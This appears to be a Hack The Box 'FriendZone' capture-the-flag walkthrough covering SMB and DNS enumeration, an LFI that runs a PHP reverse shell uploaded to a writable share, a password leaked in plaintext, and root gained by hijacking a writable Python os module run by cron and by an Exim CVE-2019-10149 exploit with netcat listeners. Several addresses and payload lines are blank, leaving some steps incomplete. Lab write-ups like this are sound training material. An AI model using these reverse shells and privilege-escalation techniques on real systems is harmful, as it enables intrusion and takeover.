HTB Friendzone

1. Download the VPN pack for the individual user and use the guidelines to log into the HTB VPN.

2. The FriendZone machine IP is

3. We will adopt the same methodology of performing penetration testing as we’ve used before. Let’s start with enumeration in order to learn as much information about the machine as possible.

4. As usual, let’s start with the nmap scan to learn more about the services running on this machine. [CLICK IMAGES TO ENLARGE]
<<nmap -sC -sV -oA FriendZone>>

5. It looks like we have a lot of data to consume. We have ports 21, 22, 53, 80, 139, 443 and 445 opened. So let’s perform enumeration on them. The important thing to note is that there is a possible domain, “,” as well.

6. The first thing to do, since we have shares available, is to see how many of these we can discover remotely.

└──╼ $nmap -script=smb-enum-shares.nse -p445
Starting Nmap 7.92 ( ) at 2022-08-03 14:35 CEST
Nmap scan report for friendzone.htb (
Host is up (0.089s latency).

445/tcp open microsoft-ds

Host script results:
| smb-enum-shares: 
| account_used: guest
| \\\Development: 
| Comment: FriendZone Samba Server Files
| Users: 0
| Max Users: <unlimited>
| Path: C:\etc\Development
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\\Files: 
| Comment: FriendZone Samba Server Files /etc/Files
| Users: 0
| Max Users: <unlimited>
| Path: C:\etc\hole
| Anonymous access: <none>
| Current user access: <none>
| \\\IPC$: 
| Comment: IPC Service (FriendZone server (Samba, Ubuntu))
| Users: 1
| Max Users: <unlimited>
| Path: C:\tmp
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\\general: 
| Comment: FriendZone Samba Server Files
| Users: 0
| Max Users: <unlimited>
| Path: C:\etc\general
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
| \\\print$: 
| Comment: Printer Drivers
| Users: 0
| Max Users: <unlimited>
| Path: C:\var\lib\samba\printers
| Anonymous access: <none>
|_ Current user access: <none>

Nmap done: 1 IP address (1 host up) scanned in 22.30 seconds


└──╼ $enum4linux


└──╼ $smbmap -H 
[+] Guest session IP: Name: friendzone.htb 
Disk Permissions Comment
---- ----------- -------
print$ NO ACCESS Printer Drivers
Files NO ACCESS FriendZone Samba Server Files /etc/Files
general READ ONLY FriendZone Samba Server Files
Development READ, WRITE FriendZone Samba Server Files
IPC$ NO ACCESS IPC Service (FriendZone server (Samba, Ubuntu))

7. It looks like we can read development and general share. Let’s read general share first.
<<smbclient // -U “”>>
<<get creds.txt>>

8. There seems to be a creds.txt file found. Downloading creds.txt, we find that the content looks like admin creds. Let’s enumerate the system more to see where to use these creds.
<<cat creds.txt>>

9. Enumerating port 80 results in the following. An important thing to note is that there is a new domain,, also mentioned.

10. Since we have port 53 opened, let’s query both of these domains.

11. Querying reveals the following. We can see that “” was discovered.
<<dig axfr @>>

12. Querying reveals the following. We can see that “” was discovered.
<<dig axfr @>>

13. see below.

14. Let’s enumerate both these domains. Before that, let’s add the entries into the /etc/hosts file, as shown below.

15. Enumerating results in the following login page. Let’s try the discovered admin creds. We find that it results in a successful login.

16. After logging in, we get this message.

17. Following the directions above shows the page below with an error message.

18. We follow the leads again, including the aforementioned parameters, into the request portal. (BTW, this an LFI candidate.)

19. So the logic is that if we can include our reverse shell into the system and query it from this page in parameter “pagename,” we should get the reverse shell back. But where to upload? Let’s remember the “development” share discovered above.

20. We’ll apply this logic to see if we can get the reverse shell back. We modify the PHP reverse shell with the attacker details.

21. Next, we upload the contents to development share.
<<smbclient // -U “”>>
<<put reverse.php>>

22. Now let’s add the path to the pagename parameter (/etc/Development/reverse), as shown below. Before that, let’s also open a NC shell.
<<nc -nlvp 4488>>

23. We got the reverse shell. Great!

24. We read the user.txt file.(There was a home directory friend on the system.)
<<cd home>>
<<cd friend>>
<<cat user.txt>>

25. Let’s enumerate the system to escalate the privileges next.

26. During enumeration, there was a file called mysql_data.conf under /var/www. Looks like we have the user “friend” password in it in plaintext.
<<cd /var/www>>
<<cat mysql_data.conf>>

27. Let’s use the above creds to log into the box as user “friend.”
<<ssh friend@>>

28. Let’s continue the process of enumeration and escalating the privileges.

29. After much enumeration, I thought of using an excellent utility (PSPY) from here.

30. Transferring the PSPY to the victim machine.

└──╼ $scp pspy64 friend@
friend@’s password: Agpyu12!0.213$
pspy64 100% 3006KB 1.6MB/s 00:01

Priv: friend to root


I was looking around the file system, and I noticed a script in /opt/server_admin/:

friend@FriendZone:/opt/server_admin$ ls

It says it’s incomplete, and doesn’t do much of anything:


import os

to_address = ""
from_address = ""

print "[+] Trying to send email to %s"%to_address

#command = ''' mailsend -to -from -ssl -port 465 -auth -smtp scheduled results email +cc +bc -v -user you -pass "PAPAP"'''


# I need to edit the script later
# Sam ~ python developer


I uploaded pspy to target, and noticed that root was running this script every two minutes:

2019/02/12 15:18:01 CMD: UID=0    PID=26106  | /usr/bin/python /opt/server_admin/ 
2019/02/12 15:18:01 CMD: UID=0    PID=26105  | /bin/sh -c /opt/server_admin/ 
2019/02/12 15:18:01 CMD: UID=0    PID=26104  | /usr/sbin/CRON -f 
2019/02/12 15:20:01 CMD: UID=0    PID=26109  | /usr/bin/python /opt/server_admin/ 
2019/02/12 15:20:01 CMD: UID=0    PID=26108  | /bin/sh -c /opt/server_admin/ 
2019/02/12 15:20:01 CMD: UID=0    PID=26107  | /usr/sbin/CRON -f

Finally, I noticed that the python module, os, was writable:

friend@FriendZone:/usr/lib/python2.7$ find -type f -writable -ls
   262202     28 -rw-rw-r--   1 friend   friend      25583 Jan 15 22:19 ./os.pyc
   282643     28 -rwxrwxrwx   1 root     root        25910 Jan 15 22:19 ./

Python Library Hijack

Rastating has a good write-up on Python Library Hijacking. I can use the following command to see the python path order:

Open the Python Shell.

You see the Python Shell window appear.

Type import sys and press Enter

Type for p in sys.path: print(p) in a new cell and click Run Cell


└──╼ $ssh friend@
friend@'s password: 
Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-36-generic x86_64)

* Documentation:
* Management:
* Support:

You have mail.
Last login: Thu Jan 24 01:20:15 2019 from
friend@FriendZone:~$ python
Python 2.7.15rc1 (default, Apr 15 2018, 21:51:34) 
[GCC 7.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import sys
>>> for p in sys.path: print(p)



I think that blank line at the top indicates the current directory of the script.

The most common case for this kind of hijack is finding the directory containing the python script writable. In that case, I could drop an in next to and it would load there before checking /usr/lib/python2.7/. In this case, I actually can’t write to /opt/server_admin/. But I can write directly to the normal version of this module.

friend@FriendZone:/usr/lib/python2.7$ ls -la os.*
-rwxrwxrwx 1 root root 25910 Jan 15 2019
-rw-rw-r-- 1 friend friend 25583 Jan 15 2019 os.pyc

I’ll open the file in vi, and go to the bottom. There, I’ll add a shell to myself:

import pty
import socket


thus like below

def _pickle_statvfs_result(sr):
    (type, args) = sr.__reduce__()
    return (_make_statvfs_result, args)

    _copy_reg.pickle(statvfs_result, _pickle_statvfs_result,
except NameError: # statvfs_result may not exist

import pty
import socket


It’s a standard python reverse shell, except that instead of os.dup2(), I just write dup2(). That’s because I’m in the os module right now. It actually should still work if you just import os, but I removed it as it’s not needed.

I’ll save that. Since waiting two minutes to fail is annoying, I’ll open python on my own and see if I get a shell back as friend. On just starting python, I get a callback, and have a shell. I’ll exit out and wait for the cron. Once the two minutes rolls, shell:

root@kali# nc -lnvp 443
Ncat: Version 7.70 ( )
Ncat: Listening on :::443
Ncat: Listening on
Ncat: Connection from
Ncat: Connection from
root@FriendZone:~# id
uid=0(root) gid=0(root) groups=0(root)

Unattended way

friend@FriendZone:~$ netstat -tulpen | grep 25
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
tcp 0 0* LISTEN 0 25195 - 
tcp 0 0* LISTEN 0 25151 - 
tcp 0 0* LISTEN 0 25152 - 
tcp6 0 0 ::1:25 :::* LISTEN 0 25196 - 
tcp6 0 0 :::445 :::* LISTEN 0 25149 - 
tcp6 0 0 :::139 :::* LISTEN 0 25150 - 
udp 24576 0* 0 24960 - 
udp 16640 0* 0 24962 - 
friend@FriendZone:~$ exim -bV
Exim version 4.90_1 #4 built 14-Feb-2018 16:01:14
Copyright (c) University of Cambridge, 1995 - 2017

CVE-2019-10149 : A flaw was found in Exim versions 4.87 to 4.91 (inclusive). Improper validation of recipient address in deliver_message() function in /src/deliver.c may lead to remote command execution.

I then searched for another exploit for the same CVE and found this which worked without modification

www-data@FriendZone /tmp $ python --rhost localhost --rport 25 --lhost --lport 443
[+] Exploited. Check your listener

root@Kali:~/HTB/Friendzone# nc -nlvp 443
listening on [any] 443 ...
connect to [] from (UNKNOWN) [] 55938
bash: cannot set terminal process group (38138): Inappropriate ioctl for device
bash: no job control in this shell
root@FriendZone:/var/spool/exim4# id
uid=0(root) gid=114(Debian-exim) groups=114(Debian-exim)

Lessons learned

  • Priv esc by Python library hijacking


Posted on

Leave a Reply

Your email address will not be published.